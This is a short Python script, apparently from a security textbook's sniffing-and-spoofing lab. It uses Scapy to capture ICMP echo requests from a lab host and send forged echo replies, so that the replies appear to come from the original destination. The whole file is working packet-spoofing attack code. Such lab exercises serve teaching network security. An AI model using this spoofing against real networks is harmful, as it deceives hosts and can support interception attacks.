#!/usr/bin/python3
from scapy.all import *

#from https://github.com/kevin-w-du/BookCode/blob/master/Sniffing_Spoofing/Scapy/sniff_spoof_icmp.py

def spoof_pkt(pkt):
  if ICMP in pkt and pkt[ICMP].type == 8:
     #listen for ICMP request packets (type 8) 
     print("Original Packet.........")
     print("Source IP : ", pkt[IP].src)
     print("Destination IP :", pkt[IP].dst)

     #spoof a reply, even if the request wasn't for us
     #must reverse source and destination on reply!
     ip = IP(src=pkt[IP].dst, dst=pkt[IP].src, ihl=pkt[IP].ihl)
     icmp = ICMP(type=0, id=pkt[ICMP].id, seq=pkt[ICMP].seq)
     data = pkt[Raw].load
     newpkt = ip/icmp/data

     print("Spoofed Packet.........")
     print("Source IP : ", newpkt[IP].src)
     print("Destination IP :", newpkt[IP].dst)

     send(newpkt,verbose=0)

pkt = sniff(filter='icmp and src host 10.0.2.15',prn=spoof_pkt) #icmp and src host 10.0.2.15